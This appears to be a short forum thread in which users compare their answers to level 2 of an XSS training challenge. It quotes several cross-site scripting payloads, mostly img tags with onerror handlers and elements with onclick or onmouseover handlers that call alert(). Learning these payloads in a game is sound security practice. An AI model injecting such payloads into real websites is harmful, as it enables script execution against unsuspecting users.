[instakill]

What is lvl2's answer? I'm trying:

<img src='invalid_link.png' onerror="this.src='alert(1);'">

[stevekemp]

My solution was:

     <img src="foo" onMouseOver="alert(33);"

Interesting to see so many people used onError instead.

[Toadsoup]

One of the hints says you can use onError()

I'm sure that's where most people are getting it from.

[octatone2]

img src='garbage' onerror='script' is gauranteed to auto execute, where mouseover requires the user to mouse over the element.

[dnvsasm]

onerror= is usually the one used in CTF and XSS examples!

[dpacmittal]

I used just onclick

[SimeVidas]

just onerror="alert(1)" :)

[JustMadMike]

I did <a onclick="alert('hakz');">click</a>

[dagurp]

Me too, except I used a button tag. Feels like cheating though.